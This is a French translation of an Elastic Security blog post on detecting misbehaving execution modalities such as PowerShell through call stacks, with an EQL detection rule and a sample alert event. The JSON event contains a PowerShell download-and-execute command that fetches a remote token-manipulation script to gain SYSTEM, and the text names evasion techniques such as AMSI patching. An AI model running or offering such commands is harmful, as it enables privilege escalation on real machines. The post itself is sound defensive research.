John Uhlmann

Des modalités qui se comportent mal : Détecter des outils et non des techniques

Nous explorons le concept de modalité d'exécution et la manière dont les détections axées sur la modalité peuvent compléter celles axées sur le comportement.

Des modalités qui se comportent mal : Détecter des outils et non des techniques

Qu'est-ce que la modalité d'exécution ?

Jared Atkinson, stratège en chef chez SpecterOps et auteur prolifique sur la stratégie de sécurité, a récemment introduit le concept très utile de modalité d'exécution pour nous aider à raisonner sur les techniques des logiciels malveillants et sur la manière de les détecter de manière robuste. En bref, la modalité d'exécution décrit la manière dont un comportement malveillant est exécuté, plutôt que de définir simplement ce que fait le comportement.

Par exemple, le comportement en question peut être la création d'un service Windows, et la modalité peut être un utilitaire système (tel que `sc.exe`), un script PowerShell, ou un shellcode qui utilise des appels syscall indirects pour écrire directement dans la configuration du service dans le registre Windows.

Atkinson a souligné que si votre objectif est de détecter une technique spécifique, vous devez vous assurer que votre collecte est aussi proche que possible de la source de vérité du système d'exploitation et éliminer toute hypothèse de modalité.

Étude de cas : modalités de création de services

Dans le scénario typique de création d'un service dans le système d'exploitation Windows, un programme d'installation appelle sc.exe create qui effectue un appel RPC à un point de terminaison du Service Control Manager (SCM). RCreateService RPC à un point de terminaison du gestionnaire de contrôle des services (SCM, alias services.exe) qui effectue ensuite des appels syscall au gestionnaire de configuration en mode noyau pour mettre à jour la base de données des services installés dans le registre. Ces données sont ensuite transférées sur le disque et restaurées à partir du disque au démarrage.

Cela signifie que la source de vérité pour un système en cours d'exécution est le registre (bien que les ruches soient transférées sur le disque et puissent être modifiées hors ligne).

Dans un scénario de chasse aux menaces, nous pourrions facilement détecter des lignes de commande sc.exe anormales - mais un autre outil pourrait effectuer des appels RPC de contrôle de service directement.

Si nous traitions nos données sur les menaces de manière rigoureuse, nous pourrions également détecter les appels RPC anormaux du contrôle des services, mais un autre outil pourrait effectuer des appels syscals (in)directement ou utiliser un autre service, tel que le registre à distance, pour mettre à jour la base de données des services de manière indirecte.

En d'autres termes, certaines de ces modalités d'exécution contournent la télémétrie traditionnelle telle que les journaux d'événements Windows.

Comment surveiller les modifications apportées au gestionnaire de configuration ? Nous ne pouvons pas surveiller directement les appels syscall en raison de la protection des correctifs du noyau, mais Microsoft a fourni des rappels du gestionnaire de configuration comme solution de rechange. C'est sur ce point qu'Elastic a concentré ses efforts de détection de la création de services, au plus près de la source de vérité du système d'exploitation.

La contrepartie de cette faible visibilité est toutefois une réduction potentielle du contexte. Par exemple, en raison des décisions architecturales de Windows, les fournisseurs de sécurité ne savent pas quel client RPC demande la création d'une clé de registre dans la base de données des services. Microsoft ne prend en charge que l'interrogation des détails d'un client RPC à partir d'un service RPC en mode utilisateur.

À partir de Windows 10 21H1, Microsoft a commencé à inclure les détails du client RPC dans le journal des événements de création de service. Cet événement, bien que moins robuste, fournit parfois un contexte supplémentaire qui peut aider à déterminer la source d'un comportement anormal.

En raison des abus dont elles ont fait l'objet, certaines modalités ont été complétées par une journalisation supplémentaire - un exemple important est celui de PowerShell. Cela permet de détecter certaines techniques avec une grande précision, mais uniquement lorsqu'elles sont exécutées dans PowerShell. Il est important de ne pas confondre la couverture de la détection d'une technique dans PowerShell avec la couverture de cette technique en général. Cette nuance est importante pour l'estimation de la couverture de MITRE ATT& CK. Comme le démontrent régulièrement les équipes rouges, une couverture technique de 100% - mais uniquement pour PowerShell - est proche d'une couverture réelle de 0%.

Summiting the Pyramid (STP) est une méthode de notation analytique connexe de MITRE. Il tire une conclusion similaire sur la fragilité des détections basées sur les blocs de script PowerShell et attribue à ces règles un faible score de robustesse.

Les sources de télémétrie de haut niveau, telles que la journalisation de la création de processus et la journalisation PowerShell, sont extrêmement fragiles pour détecter la plupart des techniques, car elles ne couvrent que très peu de modalités. Dans le meilleur des cas, ils permettent de détecter les abus les plus flagrants de l'initiative "Vivre de la terre" (LotL).

Atkinson a fait l'observation suivante dans l'exemple utilisé pour motiver la discussion :

Il est important de souligner que notre objectif supérieur en matière de détection est basé sur le comportement et non sur la modalité. Par conséquent, nous devrions nous intéresser à la détection de l'énumération de sessions (axée sur le comportement), et non à l'énumération de sessions dans PowerShell (axée sur la modalité).

Parfois, ce n'est que la moitié de l'histoire. Il est parfois plus efficace de détecter que l'outil lui-même est hors contexte que de détecter la technique. Parfois, la modalité d'exécution elle-même est anormale.

Une alternative à la détection d'une technique connue est la détection d'une modalité qui se comporte mal.

Les piles d'appel divulguent la modalité

L'un des points forts d'Elastic est l'inclusion de piles d'appels dans la majorité de nos événements. Ce niveau de détail de la provenance des appels aide grandement à déterminer si une activité donnée est malveillante ou bénigne. Les résumés de la pile d'appels sont souvent suffisants pour divulguer la modalité d'exécution - les exécutions pour PowerShell, .NET, RPC, WMI, VBA, Lua, Python et Java laissent toutes des traces dans la pile d'appels.

Certaines de nos premières règles basées sur la pile d'appels concernaient les macros Office VBA (vbe7.dll) qui généraient des processus enfants ou déposaient des fichiers, et la mémoire exécutable non sauvegardée qui chargeait le moteur d'exécution .NET. Dans ces deux exemples, la technique elle-même était largement bénigne ; c'est la modalité du comportement qui était principalement anormale.

Pouvons-nous donc passer d'une approche de détection typiquement axée sur le comportement à une approche axée sur la modalité ? Par exemple, pouvons-nous détecter uniquement l'utilisation d'un appel API à double usage provenant de PowerShell ?

Grâce aux piles d'appels, Elastic est en mesure de différencier les appels d'API provenant des scripts PowerShell de ceux provenant des moteurs d'exécution PowerShell ou .NET.

En utilisant Threat-Intelligence ETW comme approximation pour une API à double usage, notre règle "Appel API suspect à partir d'un script PowerShell" s'est avérée très efficace.

api where
event.provider == "Microsoft-Windows-Threat-Intelligence" and
process.name in~ ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and

/* PowerShell Script JIT - and incidental .NET assemblies */
process.thread.Ext.call_stack_final_user_module.name == "Unbacked" and
process.thread.Ext.call_stack_final_user_module.protection_provenance in ("clr.dll", "mscorwks.dll", "coreclr.dll") and

/* filesystem enumeration activity */
not process.Ext.api.summary like "IoCreateDevice( \\FileSystem\\*, (null) )" and

/* exclude nop operations */
not (process.Ext.api.name == "VirtualProtect" and process.Ext.api.parameters.protection == "RWX" and process.Ext.api.parameters.protection_old == "RWX") and

/* Citrix GPO Scripts */
not (process.parent.executable : "C:\\Windows\\System32\\gpscript.exe" and
  process.Ext.api.summary in ("VirtualProtect( Unbacked, 0x10, RWX, RW- )", "WriteProcessMemory( Self, Unbacked, 0x10 )", "WriteProcessMemory( Self, Data, 0x10 )")) and

/* cybersecurity tools */
not (process.Ext.api.name == "VirtualAlloc" and process.parent.executable : ("C:\\Program Files (x86)\\CyberCNSAgent\\cybercnsagent.exe", "C:\\Program Files\\Velociraptor\\Velociraptor.exe")) and

/* module listing */
not (process.Ext.api.name in ("EnumProcessModules", "GetModuleInformation", "K32GetModuleBaseNameW", "K32GetModuleFileNameExW") and
  process.parent.executable : ("*\\Lenovo\\*\\BGHelper.exe", "*\\Octopus\\*\\Calamari.exe")) and

/* WPM triggers multiple times at process creation */
not (process.Ext.api.name == "WriteProcessMemory" and
     process.Ext.api.metadata.target_address_name in ("PEB", "PEB32", "ProcessStartupInfo", "Data") and
     _arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info like ("?:\\windows\\*\\kernelbase.dll!CreateProcess*", "Unknown")))

Même si nous n'avons pas besoin d'utiliser le fragile enregistrement AMSI de PowerShell pour la détection, nous pouvons toujours fournir ce détail dans l'événement en tant que contexte, car il aide au triage. Cette approche basée sur les modalités détecte même les techniques d'évasion de la défense PowerShell les plus courantes, telles que

  • décrochage de la ntdll
  • Patch AMSI
  • correctifs ETW en mode utilisateur
{
 "event": {
  "provider": "Microsoft-Windows-Threat-Intelligence",
  "created": "2025-01-29T18:27:09.4386902Z",
  "kind": "event",
  "category": "api",
  "type": "change",
  "outcome": "unknown"
 },
 "message": "Endpoint API event - VirtualProtect",
 "process": {
  "parent": {
   "executable": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
  },
  "name": "powershell.exe",
  "executable": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
  "code_signature": {
   "trusted": true,
   "subject_name": "Microsoft Windows",
   "exists": true,
   "status": "trusted"
  },
  "command_line": "\"powershell.exe\" & {iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem}",
  "pid": 21908,
  "Ext": {
   "api": {
    "summary": "VirtualProtect( kernel32.dll!FatalExit, 0x21, RWX, R-X )",
    "metadata": {
     "target_address_path": "c:\\windows\\system32\\kernel32.dll",
     "amsi_logs": [
      {
       "entries": [
        "& {iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem}",
        "{iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem}",
        "function Get-WinLogonTokenSystem\n{\nfunction _10001011000101101\n{\n  [CmdletBinding()]\n  Param(\n [Parameter(Position = 0, Mandatory = $true)]\n [ValidateNotNullOrEmpty()]\n [Byte[]]\n ${_00110111011010011},\n ...<truncated>",
        "{[Char] $_}",
        "{\n [CmdletBinding()]\n Param(\n   [Parameter(Position = 0, Mandatory = $true)]\n   [Byte[]]\n   ${_00110111011010011},\n   [Parameter(Position = 1, Mandatory = $true)]\n   [String]\n   ${_10100110010101100},\n ...<truncated>",
        "{ $_.GlobalAssemblyCache -And $_.Location.Split('\\\\')[-1].Equals($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBkAGwAbAA=')))) }"
       ],
       "type": "PowerShell"
      }
     ],
     "target_address_name": "kernel32.dll!FatalExit",
     "amsi_filenames": [
      "C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1",
      "C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1"
     ]
    },
    "behaviors": [
     "sensitive_api",
     "hollow_image",
     "unbacked_rwx"
    ],
    "name": "VirtualProtect",
    "parameters": {
     "address": 140727652261072,
     "size": 33,
     "protection_old": "R-X",
     "protection": "RWX"
    }
   },
   "code_signature": [
    {
     "trusted": true,
     "subject_name": "Microsoft Windows",
     "exists": true,
     "status": "trusted"
    }
   ],
   "token": {
    "integrity_level_name": "high"
   }
  },
  "thread": {
   "Ext": {
    "call_stack_summary": "ntdll.dll|kernelbase.dll|Unbacked",
    "call_stack_contains_unbacked": true,
    "call_stack": [
     {
      "symbol_info": "c:\\windows\\system32\\ntdll.dll!NtProtectVirtualMemory+0x14"
     },
     {
      "symbol_info": "c:\\windows\\system32\\kernelbase.dll!VirtualProtect+0x3b"
     },
     {
      "symbol_info": "Unbacked+0x3b5c",
      "protection_provenance": "clr.dll",
      "callsite_trailing_bytes": "41c644240c01833dab99f35f007406ff15b7b6f25f8bf0e85883755f85f60f95c00fb6c00fb6c041c644240c01488b55884989542410488d65c85b5e5f415c41",
      "protection": "RWX",
      "callsite_leading_bytes": "df765f4d63f64c897dc0488d55b8488bcee8ee6da95f4d8bcf488bcf488bd34d8bc64533db4c8b55b84c8955904c8d150c0000004c8955a841c644240c00ffd0"
     }
    ],
    "call_stack_final_user_module": {
     "code_signature": [
      {
       "trusted": true,
       "subject_name": "Microsoft Corporation",
       "exists": true,
       "status": "trusted"
      }
     ],
     "protection_provenance_path": "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll",
     "name": "Unbacked",
     "protection_provenance": "clr.dll",
     "protection": "RWX",
     "hash": {
      "sha256": "707564fc98c58247d088183731c2e5a0f51923c6d9a94646b0f2158eb5704df4"
     }
    }
   },
   "id": 17260
  }
 },
 "user": {
  "id": "S-1-5-21-47396387-2833971351-1621354421-500"
 }
}

Évaluation de la robustesse

En utilisant la méthodologie de notation analytique "Summiting the Pyramid ", nous pouvons comparer notre règle de détection PowerShell basée sur les modalités avec les règles de détection PowerShell traditionnelles.

Application (A)Mode utilisateur (U)Mode noyau (K)
Core to (Sub) Technique (5)[ best ] Détections de modalités PowerShell basées sur l'ETW du noyau
Cœur à partie de (sous-) technique (4)
Outil de base pour les outils préexistants (3)
Outil apporté par le noyau à l'adversaire (2)Détections de contenu PowerShell basées sur AMSI et ScriptBlock
Ephémère (1)[pire ]

PowerShell Analytic Scoring (notation analytique) avec Summiting the Pyramid (sommet de la pyramide)

Comme nous l'avons vu précédemment, la plupart des détections PowerShell obtiennent un faible score de robustesse 2A sur l'échelle STP. Cela contraste fortement avec notre règle de modalité PowerShell qui se comporte mal et qui reçoit le score 5K le plus élevé possible (lorsque la télémétrie appropriée du noyau est disponible auprès de Microsoft).

Une mise en garde s'impose : le score analytique STP n'inclut pas encore de mesure des coûts de mise en place et de maintenance d'une règle. Cette valeur pourrait être approximée par la taille de la liste des logiciels faussement positifs connus pour une règle donnée - bien que la plupart des ensembles de règles ouverts n'incluent généralement pas cette information. Nous le faisons et, dans le cas de notre règle, les faux positifs observés à ce jour ont été extrêmement faciles à gérer.

Les piles d'appels peuvent-elles être usurpées ?

Oui - et légèrement non. Nos piles d'appels sont toutes collectées en ligne dans le noyau, mais la pile d'appels en mode utilisateur réside elle-même dans la mémoire en mode utilisateur que le logiciel malveillant peut contrôler. Cela signifie que si un logiciel malveillant est parvenu à une exécution arbitraire, il peut contrôler les images de la pile que nous voyons.

Bien sûr, les appels d' API à double usage à partir d'une mémoire privée sont suspects, mais parfois, essayer de cacher votre mémoire privée est encore plus suspect. Cela peut prendre la forme de :

Le contrôle de la pile d'appels peut ne pas suffire. Afin de contourner réellement certaines de nos détections de pile d'appels, un attaquant doit créer une pile d'appels qui se confond entièrement avec l'activité normale. Dans certains environnements, les équipes de sécurité peuvent établir des bases avec une grande précision, ce qui fait qu'il est difficile pour les attaquants de ne pas être détectés. Sur la base de nos recherches internes et avec l'aide des développeurs d'outils de l'équipe rouge, nous améliorons également en permanence nos détections prêtes à l'emploi.

Enfin, sur les processeurs modernes, il existe également de nombreux mécanismes de trace d'exécution qui peuvent être utilisés pour détecter l'usurpation de pile, tels que Intel LBR, Intel BTS, Intel AET, Intel IPT, x64 CET et x64 Architectural LBR. Elastic tire déjà parti de certaines de ces caractéristiques matérielles, nous avons suggéré à Microsoft de le faire dans d'autres scénarios en dehors de la protection contre les exploits, et nous étudions nous-mêmes d'autres améliorations. Restez à l'écoute.

Conclusion

La modalité d'exécution est une nouvelle perspective à travers laquelle nous pouvons chercher à comprendre l'art de l'attaquant.

La détection de techniques spécifiques pour des modalités individuelles n'est cependant pas une approche rentable - il y a tout simplement trop de techniques et trop de modalités. Au lieu de cela, nous devrions concentrer nos détections techniques aussi près que possible de la source de vérité du système d'exploitation, en veillant à ne pas perdre le contexte d'activité nécessaire ou à ne pas introduire de faux positifs ingérables. C'est pourquoi Elastic considère que l'ETW du noyau est supérieur à l'accrochage en mode utilisateur ntdll - il est plus proche de la source de vérité, ce qui permet des détections plus robustes.

Pour les approches de détection basées sur la modalité, la valeur devient évidente lorsque nous établissons une base de référence pour toute la télémétrie de bas niveau attendue pour une modalité donnée - et que nous déclenchons en cas d' écart.

Historiquement, les attaquants ont pu choisir la modalité qui leur convenait le mieux. Il est plus rentable d'écrire des outils en C# ou en PowerShell qu'en C ou en assembleur. Si nous pouvons regrouper les modalités, nous avons imposé un coût.

Partager cet article